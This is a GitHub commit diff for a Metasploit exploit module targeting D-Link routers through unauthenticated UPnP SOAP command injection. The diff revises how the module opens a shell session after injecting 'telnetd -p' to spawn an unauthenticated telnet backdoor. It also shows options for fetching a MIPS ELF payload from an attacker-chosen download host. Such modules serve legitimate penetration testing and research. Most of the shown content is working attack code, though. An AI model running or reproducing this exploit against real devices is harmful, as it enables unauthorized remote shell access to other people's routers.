Skip to content

Commit 393c1b2

Browse files
author
m-1-k-3
committed
session stuff
1 parent a6b48f3 commit 393c1b2

File tree

1 file changed

+8
-31
lines changed

1 file changed

+8
-31
lines changed

modules/exploits/linux/http/dlink_upnp_exec_noauth.rb

Lines changed: 8 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -80,16 +80,14 @@ def initialize(info = {})
8080
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
8181
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
8282
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
83-
#OptString.new('TELNETUSER', [false, 'User to start the telnet daemon (default: random)' ]),
84-
#OptString.new('TELNETPASS', [false, 'User to start the telnet daemon (default: random)' ])
8583
], self.class)
8684
end
8785

8886

8987
def request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
9088

9189
uri = '/soap.cgi'
92-
data_uri = "?service=WANIPConn1"
90+
#data_uri = "?service=WANIPConn1"
9391

9492
data_cmd = "<?xml version=\"1.0\"?>"
9593
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
@@ -170,15 +168,10 @@ def exploit
170168
end
171169

172170
if target.name =~ /Telnet/
173-
#passw = datastore['TELNETPASS'] || rand_text_alpha(8)
174-
#user = datastore['TELNETUSER'] || rand_text_alpha(4)
175171
telnetport = rand(65535)
176172

177-
#vprint_status("#{rhost}:#{rport} - User: #{user}")
178-
#vprint_status("#{rhost}:#{rport} - Password: #{passw}")
179173
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
180174

181-
#cmd = "telnetd -p #{telnetport} -l \"/usr/sbin/login\" -u #{user}:#{passw}"
182175
cmd = "telnetd -p #{telnetport}"
183176
type = "add"
184177
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
@@ -197,16 +190,16 @@ def exploit
197190
if sock
198191
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
199192
else
200-
print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
193+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
201194
end
202195

203196
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
204197
auth_info = {
205198
:host => rhost,
206199
:port => telnetport,
207200
:sname => 'telnet',
208-
#:user => user,
209-
#:pass => passw,
201+
:user => "",
202+
:pass => "",
210203
:source_type => "exploit",
211204
:active => true
212205
}
@@ -215,28 +208,12 @@ def exploit
215208
'USERPASS_FILE' => nil,
216209
'USER_FILE' => nil,
217210
'PASS_FILE' => nil,
218-
#'USERNAME' => user,
219-
#'PASSWORD' => passw
211+
'USERNAME' => nil,
212+
'PASSWORD' => nil
220213
}
221-
#taken from ./lib/msf/core/auxiliary/commandshell.rb
222-
info = "TELNET (#{rhost}:#{telnetport})"
223-
sess = Msf::Sessions::CommandShell.new(sock)
224-
sess.set_from_exploit(self)
225-
sess.info = info
226-
227-
# Clean up the stored data
228-
sess.exploit_datastore.merge!(merge_me)
229-
230-
# Prevent the socket from being closed
231-
self.sockets.delete(sock)
232-
self.sock = nil if self.respond_to? :sock
233-
234-
framework.sessions.register(sess)
235-
sess.process_autoruns(datastore)
236-
237-
sess
214+
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
238215
rescue
239-
print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
216+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
240217
end
241218
return
242219
end

0 commit comments

Comments
 (0)